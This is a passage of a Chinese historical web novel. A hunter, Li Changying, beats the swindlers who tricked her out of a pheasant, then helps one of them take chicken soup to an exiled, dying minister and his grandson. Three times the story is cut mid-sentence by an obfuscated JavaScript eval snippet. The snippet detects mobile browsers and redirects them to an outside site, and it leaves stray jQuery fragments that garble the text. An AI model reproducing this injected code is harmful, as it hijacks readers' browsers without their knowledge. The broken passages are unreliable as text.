翁植这般打算着,心中稍安稳,找了个木桶舀满烧开的水,拎出去。 “劳烦姑娘了。” 翁植继续装,倒好水后,自然地搭话:“还不知如何称呼姑娘。” 厉长瑛皮糙肉厚,就着热水烫过的温度,飞快地拔毛,“厉长瑛,玉瑛之瑛……” 话刚落,一道略有些熟悉的嗓音突然响起,打断了两人的对话,“老翁!我打酒来了,咱们今儿遇到个傻子,得好好喝一杯。” 片刻后,泼皮的身影出现在院门口,“咋没关……” “门”字没说出来,泼皮傻了,吓得手一松,捆酒瓶的绳子马上就要脱手,又手忙脚乱地救酒。 翁植五官乱飞疯狂暗示。 厉长瑛过于震惊突然而来的真相,表情极其森冷。 泼皮心有余悸地抱住酒壶,抬眼后反应过来状况,拔腿就跑,消失在院门外。 厉长瑛的速度更快,眨眼间便一阵风似的追了出去。 “啊!” 惨叫声响起。 翁植呆了几秒,赶紧跑向院门,刚到跨出一只脚,身形一滞,开始一步一步后退,讪笑着找补:“厉、厉姑娘,你听翁某解释……” 厉长瑛一只手提着完好无损的酒壶,一只手拽着泼皮的腿,生生拖着他跨进来。 泼皮面朝下,身体硌着门槛磨过去,下三路硌了一下,疼得又是一声呼,忍着疼赶紧用手臂撑起身体,狼狈地倒进门。 厉长瑛用力一甩,将泼皮甩进院子,反身关门,隔住邻居观望的视线。 泼皮慌乱地爬起来,找抵抗之物。 翁植则是仍旧试图辩解:“厉姑娘,你、你冷静,事情不是你想的那般……” 厉长瑛想什么了?她什么都没想,她也什么都不想听。 “傻是吧。”厉长瑛冷笑,“我拳头硬。” 她不容分说,举起拳头就冲着两人无差别的捶过去。 翁植文弱,肚子上挨了一拳便两眼发黑,疼得勾成了虾爬子。 厉长瑛单手能拎起一石米,一拳重若千钧,又打飞了泼皮抵挡的木棒,按着泼皮捶。 泼皮的惨叫声求饶声接连不断。 翁植忍着疼,爬起来想趁机跑掉,刚打开门,曙光已经在眼前,一只手突然伸过来,一把薅住了他的发髻。 “啊啊啊——” 厉长瑛薅着人扔进去,“啪”地又合上门。 两个人的惨叫声持续了足有一炷香的时间,才停止,重归寂静。 外头,原本还在观望的邻居,听到惨叫声,早就房门紧闭躲了回去。 院内,读书人没了读书人的样子,泼皮有了泼皮的下场,翁植和泼皮两个人双手抱头,鼻青脸肿地蹲在墙根儿下,模样凄惨。 厉长瑛大马金刀地坐在板凳上,怒视二人。 亏她还感动于翁植的高洁品质,在乱世里出淤泥而不染,全是假的! 人心太险恶了! 骗老实人,他们良心不会痛吗? 人是揍了,气消不下去。 这两个人太可恶了! “说,有哪句是真的!还是没一句真的?” 翁植倏地站起来。 厉长瑛瞪眼。 翁植立马抱头蹲下,疼得龇牙咧嘴还义正词严,“翁某学富五车,进士出身岂能作假?” “……” 泼皮嫌弃又无语地斜着眼看他。 厉长瑛也没忍住翻了个白眼,她现在对他的每一句话都抱有怀疑,“一个曾经的进士用得着坑蒙拐骗?” 泼皮抢答:“他犯了罪过,被打回原籍,连教书都没人用他,只能给妓馆写淫词艳曲儿。” 翁植两腮一瞬绷紧,随即能屈能伸、情真意切道:“我们二人并非全然不讲道义,那两只野物的交易是真,姑娘所问,我也尽数告知,如今打也打了,可否绕过我二人?” 泼皮也讨好地说:“对对对,女侠,女侠我们错了,这只鸡我们不该骗你,它就在这儿,你拿走,饶了我们吧。” 厉长瑛瞥了一眼拔毛到一半儿的鸡,那是她主动干的活。 更生气了。 她被人骗了还帮人拔毛! 和被人卖了还帮人数钱有什么区别! 厉长瑛拳头再次攥紧,磨牙,“是讲道义啊,还是怕骗不成,惹大麻烦啊?” 俩人抱紧头,蹲在地上不敢吱声。 厉长瑛死盯着二人火气难消,琢磨着,要不再揍一顿吧。 她站了起来,缓缓走向二人。 翁植和泼皮不受控制地发抖。 “咚咚咚。” 轻快的敲门声响起。 厉长瑛脚步顿住。 翁植紧张地抬头。 泼皮张嘴欲大喊提醒,被厉长瑛利箭似的眼神一吓,堵在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175562|138767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓子里。 “还有?” 厉长瑛冷笑一声,大步走过去,刷地拉开门。 直面后,里外的人一起呆住了。 小山和小月两个孩子傻傻地站在门外,小山还保持着敲门的动作。 有前车之鉴,提醒了,他们也逃不脱厉长瑛。 翁植闭了闭眼。 几分后,门再次合上。 墙下,两个人抱头蹲,变成了四个人抱头排排蹲。 小姑娘手短,抱不全头,两只小手只够到耳朵上方,蹲在地上,小小一只像个小蘑菇,憨憨的懵懵的,完全不明白状况。 厉长瑛声音从牙缝里挤出来,“竟然还是个连环套,合着我一进来就被盯上了,接下来全都是故意为之,是吧……” 小山瞧见了翁植二人的惨状,缩了缩脖子。 “说!” 厉长瑛喝了一声。 小姑娘吓得一激灵,眼里瞬间挤出两泡泪。 “……” 厉长瑛眼神极力凶巴巴。 哭? 还好意思哭! 她凭什么哭? 哭也没有用! 这不是一只鸡的问题! 这是尊严问题! 连孩子都能骗她! 好像她只是个生活能自理的智力低下! 厉长瑛咬牙切齿中又有点儿委屈,质问小山:“你带着你妹妹行骗?装得挺有骨气,你们还不如乞讨有骨气!” 小山咬着嘴唇,垂下头。 小月可怜巴巴地掉起泪珠子。 翁植站起来,“厉姑娘……” 恼意如有实质,厉长瑛眼里的冷镖嗖地射过去。 翁植又嗖地蹲下。 “让两个小孩儿帮你们骗人?”厉长瑛正颜厉色,“你还自称读书人?你枉读圣贤书!” 翁植抱着头默然几息,抬头道:“厉姑娘,此事都是我唆使,我们没本事勾结商铺骗你,孩子还小,错不在他们,无论你如何生气,能否不伤及他们。” 泼皮动了动嘴,到底没吭声。 小山急急道:“翁叔……” 翁植眼神阻止他开口。 厉长瑛嗤了一声,“少在这儿演什么长幼情深,说吧,此事如何解决,若是我不能消气,这事儿就没完。” 翁植赶紧道:“鸡你拿走,我钱袋里还有几个钱,也赔给姑娘。” 泼皮也不得不肉疼地从怀中掏出二十文钱,“这是我卖你那俩野物赚到的钱,买了壶酒,酒你也拿走吧。” 厉长瑛垂眸不语。 翁植一咬牙,“家里还有两斗米,只要厉姑娘消气,尽管拿走。” 厉长瑛没表态。 泼皮哭丧着脸道:“我、我家还有几升,还有别的什么,你都可以拿走,我们只有这些了。” 为了送走煞星,两个人大出血。 厉长瑛扫了一眼这一目了然的破宅子,仍旧没说话。 气氛凝滞的可怕。 似乎一根针落下,都能惹得人一激灵。 小山受不住,忽然崩溃地哭了出来,跪趴在地上,搓着手哭求,“我不该骗你,我错了,你打死我,也一刀杀了我妹妹吧,她一个人活不了的……” 该是多无望地活着,一个孩子才能说出这样的话…… 那一瞬间,厉长瑛做不出什么表情,心脏仿佛被什么刺了一下,胸腔充斥着酸麻。 他们也穷得要死。 被骗了固然郁闷气愤,可刮干净几个穷光蛋,她有什么好爽快的? 厉长瑛一下子气怒消散,追究好似也没什么意思了,索然道:“我打死你们做什么,你们本来也不一定能活过几个冬天。” 她说的是事实,除了什么都不懂的小姑娘,其他三个人都没多少死里逃生的庆幸。 厉长瑛向前一步,站在翁植面前,“‘魏公’还有那些天下大势,也是骗我的?” 翁植缓缓摇头,“都是真的,魏公一家昨日被押送进了驿馆,我在妓馆听说魏公病了,今日应是还在。” 厉长瑛直视他。 “你说魏公是个大好官,为他求的野鸡,我感念你仁义,才送你。” “你们用旁的事骗人,也不该用一个好官作筏子。” “我打过你们了,这个亏,我认了,教训我吃了,但我没错,我不会因为你们,以后就怀疑每一个人都不怀好意地接近我。” “今日之事,只差在一个环节,鸡必须送,送了,便全了,全你们,也全我。” 一只鸡,她还能打。 她的一腔热血,反正没错,必须有着落。 泼皮和小山抱头的手渐渐落了下来,仰头怔怔地望着她。 小月懵懵懂懂,傻乎乎的,眼睫上挂着泪珠,眼里莫名地没了惧意。 翁植最是奇怪,想要嗤笑又做不出,手指无措地蜷缩、抖动。 5.第 5 章 厉长瑛是个行动派,有什么事儿,今日能解决,绝对不拖到第二日,耽误她第二日的行程。 夜晚有宵禁,无事不得外出,可私自接近流放罪臣,也确实不能放在青天白日。 泼皮常年混迹于三教九流,又能以高出铺子的价格卖出猎物,当然是有一些人脉,便带着赚得二十文钱和那壶酒悄悄出去打通其中的关窍。 翁植则在厉长瑛的监工下,任劳任怨地亲自动手拔毛剁鸡。 鸡块儿下锅,滋啦作响,肉香爆溢。 小山坐在灶前烧火,小月贴着灶台,兄妹俩皆不住地吞咽口水。 都许久未沾荤腥了,翁植表面上勉强维持着读书人的体面,喉结也在不断地滚动。 水添进锅里,盖过鸡肉,香味儿消减。 翁植拿起锅盖,欲扣上。 小月踮脚,两只小手扯住他拿锅盖那只手的袖子,使劲儿拽。 小山飞快地看了一眼厉长瑛,连忙抓开妹妹的手,严肃道:“不可以捣乱。” 锅盖落下,严丝合缝。 小姑娘可怜巴巴地留下了一道……晶莹的口水。 “她多大了?不会说话?” 厉长瑛陡然出声。 小山吓得一激灵,赶紧回答:“小月应该是四岁了,没听她说过话……” “应该?” 翁植解释:“小月是小山偷走的,当时流民还能进城,许多家遭殃,小月不知道是他们从哪儿弄来的孩子,差点儿就被煮了。” 屋内只剩下灶坑里柴火燃烧的声音。 厉长瑛不禁打了个寒颤。 同类相食,简直与野兽无异…… 世人皆知野兽凶残,可又如何分辨谁人视同类为待宰的羔羊? 终日游荡在山林中,无需面对人心险恶,倒是更自在一些。 “吸溜——” 热气卷着肉香从锅盖的缝隙里钻出来,钻进了小月的鼻子,小姑娘的口水管不住,吞不完了。 可爱的人是能扫去阴霾。 厉长瑛哈哈一笑,往门槛上一坐,拍拍肩膀,“小丫头,过来给我捏捏肩,肉炖好了,分你一块儿。” 小月一张小脸霎时亮了,倒腾小腿儿奔向厉长瑛,站在她背后,使出了吃奶的劲儿“伺候”她。 小山:“……” 小狗腿子! 没出息! 小山幽怨地看了一眼锅,他力气大,捏得也好啊~ 翁植盯着坐他门槛的厉长瑛,难受。 门槛不能坐,尤其是女人! 他很想大声告诉厉长瑛,但浑身都疼,敢怒不敢言。 而泼皮顶着青肿的脸得意忘形地回来,正瞧见厉长瑛在“欺压”童工小月,顿时色变。 她连小姑娘都不放过! 太凶恶了! 随后,泼皮从小山口中得知是有肉吃,脸色又是一变,奴颜婢膝地觍着脸问:“女侠,你看小的还能为你做点儿啥不?” 厉长瑛问:“成了?” 泼皮嘿嘿笑,“我出马,肯定成!” 厉长瑛便起身,催促:“走了。” 她打算陪着一起去,倒不是怕翁植再次作假,而是天色已黑,他一个中年弱鸡带着一盆散发着浓香的鸡肉,怕是到不了地方,就要遭殃。 锅里的鸡,不算软烂,可以出锅了。 泼皮抢着干活,洗刷干净木盆,吞着口水盛鸡块儿。他贼兮兮地偷瞧厉长瑛,漏了几块儿在锅里。 厉长瑛没看他,他又小心翼翼地得寸进尺,“鸡要送人,汤……咱们可以留点儿下面吧?” 翁植来不及阻止,“……” 他们都没说还有面粉,他自个儿全暴露了。 而厉长瑛一侧嘴角似笑非笑地勾起,不意外他们还藏着掖着别的东西。 泼皮只知道厉长瑛没阻止,一下子笑开,疼得龇牙咧嘴也不影响他留了半锅鸡汤,兴冲冲地翻箱倒柜。 小月尾巴一样跟在泼皮身后,留着口水高高举起手臂,伸出两根短短的指头。 泼皮满口答应,“行,给你煮两根。” 小山也怕说晚了似的急急道:“我要四根!” 忘性颇大,记吃不记打。 翁植人至中年,作为他们中年纪最长、学富五车、家长一般的存在,此时在厉长瑛面前有些要脸,见到他们三人如此的行径,深感颜面有损。 他气得唇上胡须抖动,“给我也下四根!” 泼皮眼睛贼溜溜地转了转,扭头讨好地问:“女侠吃多少?” 厉长瑛瞥了一眼他手上那一小面袋,淡淡道:“全做了吧。” “啊?”泼皮震惊又心疼,“全做啊……” 厉长瑛迈开步子。 翁植扣上木盖,抱起木盆,追上去。 泼皮探头探脑地瞅着两人离开,示意小山门闩划下来,赶紧拿着勺子在汤里捞。 “一人一块儿,快吃!” 小月口水彻底泛滥,从嘴角流了一下巴。 小山还惦记翁植,“那翁叔呢……” 泼皮啃得又急又凶,“甭管他,你们不吃,我一会儿都吃了。” 两个孩子急火火地吃起来。 巷子里,翁植才走到巷子一半,便喘得跟犁了几亩地的老黄牛似的。 “给我吧。” 厉长瑛怕他一个不小心再扣了,夺过木盆,拿得毫不费力。 翁植阿谀奉承,“厉姑娘好力气。” 厉长瑛满不在乎道:“你这样儿的,我能一手提一个。” 翁植:“……” 这对他来说,显然不是什么值得骄傲的事情。 …… 邺县乃是大县,交通要道,自然有更好的驿馆,只是流放的人不能进到城中去,便在县城最边缘,专门给押送流放罪臣的士兵们设置了落脚的小驿馆。 两人一路穿街走巷,专挑小路,期间遇到了两个冒险结伴出来偷盗的小贼,三个躲在别人墙角下的乞丐。 两个小贼见到厉长瑛便吓破胆,溜得极快。 三个乞丐闻着味儿扑上来,厉长瑛把木盆往翁植怀里一塞,冲上去邦邦就是揍! 然而他们根本不经打,一人才挨了她一拳,就爬不起来了,只能趴在地上呻吟。 翁植抱紧了木盆,就像抱紧了同病相怜的自己。 不过他也心知,得亏有厉长瑛,否则就算这些乞丐饿得皮包骨,对上他也绝对是不费吹灰之力。 挨打的是别人,翁植得到了厉长瑛对他的保护,心态转变,又没其他不长眼的人犯上来,便说起了魏家的事—— “魏公出身江都书香门第之家,少年求学时便名动江南,未及弱冠便高中状元,为官多年,无论是在地方还是都城,皆百姓称颂,百官信服,与先帝君臣相得,当今陛下为太子时,魏公曾兼任太子少师,行教导之职。” “魏公有两子两女,长子魏择早逝。” “次子魏振,有一嫡子,名为魏堇,魏振外放后,其子留在京中由魏公亲自教养,我进京赶考那年,满城皆言堇小郎三岁开蒙,但凡教授,只一遍便可熟背,天资卓越,青出于蓝,有此子,魏家必定能再兴旺百年。” 可他们如今流放了…… 如此天差地别的境遇,厉长瑛听着都有些唏嘘。 翁植又细说罪魁祸首魏振—— “魏家长子在世时,他在其兄光芒下十分不显,魏家长子去世后,魏振成了唯一的儿子,魏公却培养长房孙辈儿,他便与家中嫌隙渐深,直到生了个天赋卓绝的儿子……” “许是觉得扬眉吐气,于家业上有一争之力,性情便越发狂妄,在任上不思进取也就罢了,治下官吏皆鱼肉百姓,最终酿成大祸,牵连家族。” 厉长瑛问:“没人为魏家求情?” “但凡有人求情,陛下皆重惩,祸及家人,便无人敢求了。” 翁植沉默片刻,语气满是兔死狐悲,“帝王暴虐不仁,臣子却得世人称赞,每每魏公劝谏,陛下皆要大怒,其实满朝皆知,陛下对魏家不满已久了……” 厉长瑛不懂朝堂事,却也听过“伴君如伴虎”、听过“天子一怒,伏尸百万”…… 这就是封建朝代。 驿馆后门—— 翁植小心地拿起门环,轻轻敲了一下,片刻后,又敲了一下。 门内,脚步声渐渐变近。 驿馆的小吏打开门,很是倨傲地扫过两人,径直伸手向木盆,“我得检查检查。”说着,翻开木盖,也不管手干不干净,伸进去就抓了几块儿肉。 翁植怕厉长瑛发火,抢先拱手,赔笑脸,“官爷,劳烦您这么晚还等我们。” 小吏毫无顾忌地咬了一口肉,小人得志地教训:“进去注意着点儿,别吵到其他人,要是被发现了,你们两个小贼就去大牢里蹲到死吧。” 翁植忍着极强的耻辱感,姿态极低,点头哈腰,“是是。” 厉长瑛一言不发。 她不是无时无刻的莽撞,膈应的很,也尚且能忍。 小吏领着二人进去,随口道:“你们今日来巧了,那老头病的要死了,明日说不准就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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翁植和厉长瑛都从小吏身后望进去,看到了破屋内的情形,也看到了少年的背影。 全都是女人和孩童,除了躺着的那位老大人,少年竟然是魏家在此处唯一一个年纪大的男丁。 魏家其他的男人去哪儿了? 少年又是魏家哪一个子孙? 两人心里不约而同地生出些不好的猜想,若是真的,这少年不甚宽阔的肩膀该承担着怎样的压力…… 而小吏听了少年的话,下意识侧头望向他带过来的两个人,想起他们也是为魏公而来,心中忐忑,确实不敢真的做什么,但又忍不住气急败坏,“还以为你们是什么夫人公子哥儿呢,等到了涿州流放营,早晚要当妓女,清高什么啊,呸!” 少年的背脊挺直,头颅不曾低下半分,维持着魏家子的骄傲,冷声道: “这便不劳你费心了,请回!” 小吏脸色变幻,恼恨不已。 魏家人已经够惨了,厉长瑛想到便成功克制住火气,如刚才的翁植一般,好言好语道:“官爷,您别生气,这小子以后有的是苦头吃呢。” 她从腰间摸出几个铜板,塞过去,“钱少,您别嫌弃,消消气,别跟他一般见识。” “算你识趣。”小吏接过铜板,得了台阶,冲着屋内冷嗤一声,对厉长瑛和翁植:“就给你们一刻钟的时间,快点儿!” 翁植也反应过来,强扯起笑,“是……” 魏家的家眷们这才注意到他们二人,防备忌惮地看着他们。 翁植站在门口,先正衣冠,方拱手行礼,“在下翁植,先帝三十二年进士,得知魏公途经邺县,前来拜见。” 小吏嫌弃这里的味道,手捂在鼻子前,抬步走远。 厉长瑛盯着他远去的身影,眼里琢磨着坏主意。 屋里,少年的注意力终于从魏老大人身上稍稍转开,侧身回首。 卧蚕红到眼尾,眼里明明并无泪水,一双眼珠却洗过似的,黑琉璃一般。 仙露明珠,秀致天成。 翁植怔住。 厉长瑛也恰好收回视线,对上少年的脸。 第一反应: 嘶—— 阴森破屋,邪风鬼火,男色无双…… 第二反应: 鬼片荼毒了她正常的脑子。 第三反应: 幸好,没人知道。 6.第 6 章 少年的风姿,着实出乎了厉长瑛和翁植的意料。 风华正茂,意气风发,固然灿烂夺目,可高傲者低下头颅,鲜衣怒马的天之骄子跌落尘埃,颠沛流离,是造化弄人的具象。 他不该出现在这里,可他就是出现在这里了。 更引人唏嘘同情,放大了感官,然后千般万般便汇成了过客一刹那的惊为天人。 而似乎平平无奇的厉长瑛,并未入少年的眼,视线水过无痕地划过。 厉长瑛坦然接受这忽视,她本就只是个猎户,若非一念之间,此生也不可能有这样的际遇见到魏家这样的人物。 魏堇目光落在鼻青脸肿的翁植身上,没有任何对翁植如此形状的好奇心,寂然无神。 翁植触及到他的目光,心下一凉,神思回归,试探着问:“不知可是堇小郎?” 这个称呼,很久远了。 魏堇眼神恍了恍,再凝神也带着几分空茫,“我是……先生与我魏家有旧?” 翁植沉默少许,否认道:“翁某身份低微,不过一介寒门学子,毫无建树,无缘得见魏老大人,只是心向往之。” 魏堇半垂眼睫,“祖父病重,怕是不能亲自接见回应了。” 翁植忙道:“只是带了点吃食,聊表心意,并无烦扰魏公之意。” 厉长瑛是个合格的陪客,安静地把木盆给他。 翁植捧着,想到这鸡的来源,不免羞愧,“翁某潦倒,还望堇小郎莫要嫌弃。” “如今我等这境地,有何脸面嫌弃……” 魏堇向他道谢,情绪语气皆无甚起伏。 忽然,魏堇表情一变,人仿佛也从半枯变得鲜活起来。他无暇再强撑着与人寒暄,惊喜地望向他握着的手,又望向魏老大人的脸,“祖父!您醒了吗?” 一句话,其他魏家人也都含着泪望向床板上的老人,激动地呼唤不断-- “父亲……” “祖父~” “曾祖!” 翁植也跟着急切地向魏老大人张望。 板床上,面上带着死气的魏老大人眼皮微动,似有醒来之势。 魏家人喜极而泣地继续呼喊着他。 厉长瑛尚站在门口处,她是陪客,是外人,便识趣地退到屋外,顺手关上了什么都挡不住的门,背对着屋内,双手环胸靠着门框上,仰头望月。 人在这样的环境中,除了同情,也会想起自己的家人。 值得庆幸的是,她的家人还在,她不必为“子欲养而亲不待”愧疚自责。 屋内,魏老大人在阵阵呼唤声中,终于艰难地睁开了沉重的双眼。 “祖父!” 魏堇握紧他的手,腰腹硌在板床边缘,强忍哽咽,“您好些了吗?” 魏老大人眼球微微转动,试图看清他,也试图看清魏家的其他人。 魏家众人全都靠近。 可屋内只点着一盏油灯,光线黯淡,他们一涌到魏老大人跟前,床周一方田地更是昏暗。 形容憔悴不堪的年轻妇人,大房的二儿媳解秀贞立马去取油灯,手小心地护着油灯,照亮床前。 魏老大人眼球转动,看着魏家遗孀遗孤们,大房的长媳,长孙媳母子三人、次孙媳母子二人、孙女魏璇和二房仅剩、也是魏家三代仅剩的男丁——魏堇。 他攥进魏堇的手,虚弱无力地交代:“如今魏家只剩下你们……” 门内外的两个外人,即便有所猜测,此时亲耳听到,也都露出惊色。 魏老大人还在说着遗言。 “一切……一切皆是我之过……我这一生,自诩、忠君……却与君主离心,自诩爱民……却教子不力,陷百姓于水火……切勿因怨而缚,相互扶持,方可绝处逢生……” 魏家人皆泣不成声。 “祖父,阿堇会撑起魏家,您要尽早养好身体,切莫再伤怀。” 魏堇不愿去想天人永隔的到来,分明五内如裂,仍要藏起悲痛,“有客人特地来拜见您,您可要见见他?” 这个时候,还有谁敢跟魏家走近? 魏老大人微微提起精神,“是什么人?” 魏家众人闻言,纷纷让开板床前的位置,请翁植过来。 翁植近乡情怯似的踌躇须臾,方才抱着木盆稳步走近,放到一侧,便伏身大拜,“学生翁植,见过大人。” “阿堇……扶我起来。” 魏堇哪怕再不愿,也不希望违背祖父的意愿,让祖父留下遗憾。 是以,他顺从地起身,可跪了太久,饿了太久,身体虚弱,身体打晃,扶着板床稳住后,才小心地扶起祖父,坐在他身后,用他清瘦的身体撑着祖父。 魏老大人靠在孙子身上,仔细辨认着翁植的面容。 翁植有些不敢抬头直视。 魏堇低声道:“翁先生说,他是先帝三十二年的进士,未曾与您见过。” “三十二年的进士?” 魏老大人思绪缓慢,反复呢喃着翁植的名字和这“三十二年”,许久后恍然、沉痛,“你是……受春闱舞弊牵连的学子吧。” 翁植猛地抬头,他没想到魏老大人竟然知道他,作不出任何表情来,只本能地应“是”。 魏老大人苦笑,满目痛惜:“寒窗苦读十数年……还未授官,便因朝堂倾轧功名尽失,无法施展抱负,老夫……老夫未能替你们争得清白,老夫愧对你们……这些年来……可有受苦,可……有怨?” 当然是怨的。 翁植怨世道不公,怨朝堂黑暗,怨他为何要求取功名…… 所以这些年来,他愤世嫉俗,也放逐自己。 “学生便是为官,怕是也随波逐流,倒也省了朝中多一个不作为的官……” 翁植刻意作出玩世不恭之态包裹住自己,可藏不住的激愤一暴露在病重的魏老大人面前,又生悔意。 “不……” 魏老大人吃力地伸出手。 魏堇抓住祖父的手送出去,而后对翁植请求道:“翁先生,可否再近些。” 翁植见状,跪着向前挪了几步。 干瘪的手落在了他的头上,“孩子……不要妄自菲薄……” 一声“孩子”。 翁植一个中年男人,真的像是个犯错的孩童,茫然无措委屈……充斥着眼和心。 “你今日能来,老夫便知道,你未曾变过……” 短短几句话,一下一下地扣着翁植的内心,到这里,终于彻底击碎了他。 事实不是魏老大人以为的那样,不是…… 翁植突然崩溃,痛哭流涕。 他诉说着他功名尽失的痛苦,诉说着这些年低劣的行径,诉说他为何会出现在此,“我带来的鸡是骗外面那姑娘的,她一个人捶我们两个废物,全无还手之力,呜……我还不如一个猎户女仁义……” “她骂得对,学生枉读圣贤书啊!” 他怎么能用魏老大人作筏子行骗? 他真是该死啊! 翁植脸上挂彩,哭得鼻涕一把眼泪一把,越加难以入目。 魏家众人未曾想到这里面还有这样一番缘由,怕他影响到老爷子心情,纷纷抬头查看着魏老大人的神色。 魏堇木然不动,他头脑里冷静地明白,祖父不会斥责怪罪。 人之将死,魏老大人包容、仁慈地看着他,悠悠长叹一声,“你来了,不是吗……” 他来了…… 他来了…… 可他险些没来…… 翁植哭得忘乎所以,几欲昏厥。 屋外,厉长瑛已经换成了蹲姿,一下一下地戳着地上的蚂蚁。 她全都听见了,回了几次头,怕闹出动静儿引来人,还是推开个门缝,提醒:“翁先生,咱们只有一刻钟的时间。” 屋内,魏堇和魏家众人再次看向她,眼里的情绪都有了变化。 魏老大人冲她招招手,“孩子,到近前来。” 他像是有了点儿精气神儿,声音高了些,眼神也清明了许多。 魏家众人却全都不见丝毫喜色。 魏堇半垂着头,遮住了眼眸,单薄的肩膀微微颤抖。 回光返照。 死气覆盖之下,隐约能瞧见曾经的儒雅和威势,此时他不是什么尚书令,也不是什么罪臣,只是一个日薄西山的普通老人。 厉长瑛心中微沉,走上前。 魏家人除了魏堇,全都跪在地上流泪,翁植更是哭得几乎趴在地上五体投地了。 真正清风高节之士,值得一拜。 厉长瑛实诚地扑通一声跪在了地上,“见过大人。” 魏老大人如慈爱的长辈一般,问:“孩子,多大了?” “十七。” “与我家阿堇和璇儿同岁。” 魏堇扶着祖父双臂的手微微收紧,右手末尾的两根手指不自然地屈伸。 貌美的长孙女跪在一旁,啜泣出声。 悲伤蔓延。 低泣声中,气氛极致的压抑低迷。 厉长瑛有些无所适从,便主动道:“我是东郡人,东郡被济阴的起义军占领了,我们一家便打算出关避难。” 魏堇倏地抬头,紧盯着她。 魏家众人也有些紧张、不安。 他们获罪连坐,对济阴军十分敏感。 魏老大人爱民如子,视天下百姓为亲,是以能够包容翁植,也更为百姓之苦而罪己,厉长瑛也算是苦主,她若是怨怪…… 魏家人不敢想,眼神里甚至带出祈求。 而厉长瑛没评判起义军如何,也没评判什么功过是非,闲谈天儿似的乐观道:“翁先生告诉我,从上党、太原经雁门郡出关更安全,到时候,我们一家会在关外落脚,生活……如果有一天关内重归太平,我们应该还会再回来。” 她使了个小小的心眼,魏家人肯定更清楚这条路可行与否。翁植这人骗她在先,多少有些不值得信任,但魏公人品既是有目共睹,只要他们没说不妥,就是可行。 厉长瑛特意停了几秒,观察他们的神色,才话锋突地一转,“我和我爹都是猎户,这只鸡就是我在山上猎得,大人,您要尝尝吗?翁先生炖的,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203656|138767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道味道如何。” 魏家众人紧绷的精神松散,又稀罕地瞧向她。 真刺眼啊。 对比他们从高处坠落的凄苦,她一个猎户,不怕苦吗?为何像艳阳天一样刺眼。 “好。” 魏老大人轻声应了,眸光中闪动着欣慰,“眼明心亮,立心力行,少年人,当是如此。” 被夸奖了。 厉长瑛明朗地道谢。 她半分不谦逊、内敛、克制,魏老大人却开怀展颜,死气都散了些似的。 魏家众人再次喜极而泣。 长孙女魏璇急忙起身,取了一只碗和一柄木勺,含泪冲厉长瑛福身后,盛了一碗汤,送到祖父跟前。 魏老大人喝了。 厉长瑛便拎起翁植,有眼色道:“翁先生,咱们先出去吧。” 翁植哭得脑仁子疼,完全没有思考能力,直接被她薅出门。 魏老大人目光始终落在那鸡汤碗中。 他已经喝不下去了…… 这一碗鸡汤,并不是简单的鸡汤,是慰藉,也是认同。 他曾经为百姓所做的一切,并不会因为陛下的猜忌和后代的错处就全都抹杀。 可魏家的罪过啊,哪里是抹消的去的…… 整个人瞬间灰败。 魏堇心在颤抖,自欺欺人地劝说:“祖父,您喝了汤,便躺下休息吧,咱们早日养好病……” “将鸡分食了吧……免得明日不能吃了……”魏老大人虚弱地几乎发不出声音来,坚持说道,“最后几句遗言,魏家子必须遵守……” 屋外,小吏邦邦敲着柱子,不耐烦地催促起两人。 翁植抓紧朝着屋内跪拜,道别。 魏家众人悲鸣恸哭陡然增大。 厉长瑛和翁植皆意识到了,一时怃然。 小吏又在敲打催促。 这时,破门打开。 魏堇周身笼罩着哀莫大于心死的颓然,却又被什么吊着一口心气儿,黏着他快要破碎的灵魂,仿佛只是一个活着的精致皮囊,昳丽的行尸走肉。 魏堇睫毛湿濡成一撮一撮地微微下垂,眼下晕红至眼尾,眼里水色浸润。 显然是哭过。 也整理过。 虽然看不见湿润的泪,男人……他还不算男人,只是少年,少年竟然也能哭得梨花带雨,仿佛全世界都辜负了他。 包括厉长瑛。 这很怪异。 厉长瑛浑身不自在。 然后她一转眼便看见了旁边儿哭成猪头的翁植。 “……” 原来是因为脸。 厉长瑛又坦然了。 魏堇走到他们面前,“二位,魏堇有一事相求……”朝着厉长瑛和翁植躬身,深深拜下。 “不用不用……” 厉长瑛吓一跳,她受不起,想也不想便也弯腰,还回去。 魏堇拜一下,她立马就还回去一拜,绝不占这个便宜。 小吏催得更加厉害,声音烦躁。 厉长瑛和翁植只得匆匆答应下来魏堇地请求,匆匆离开。 魏堇目送他们离去,方才拖着如有重荷的身体,返回屋中。 …… 厉长瑛和翁植一路随小吏往后门,便听了他一路指责。 “赶紧走!” 后门啪地在两人面前合上。 厉长瑛眯了眯眼,对翁植低声道:“你等我一会儿。” 翁植情绪宣泄过度,根本没听清她说什么,虚飘地应声。 厉长瑛拽着他到墙边,手动加上指令,让他做人梯,随即便踩上他的膝盖、肩膀,借力使劲儿一蹬,翻身上墙。 而翁植被踩得毫无防备,直接摔了个大马趴,抬起头时,鼻子下两股液体滑落。 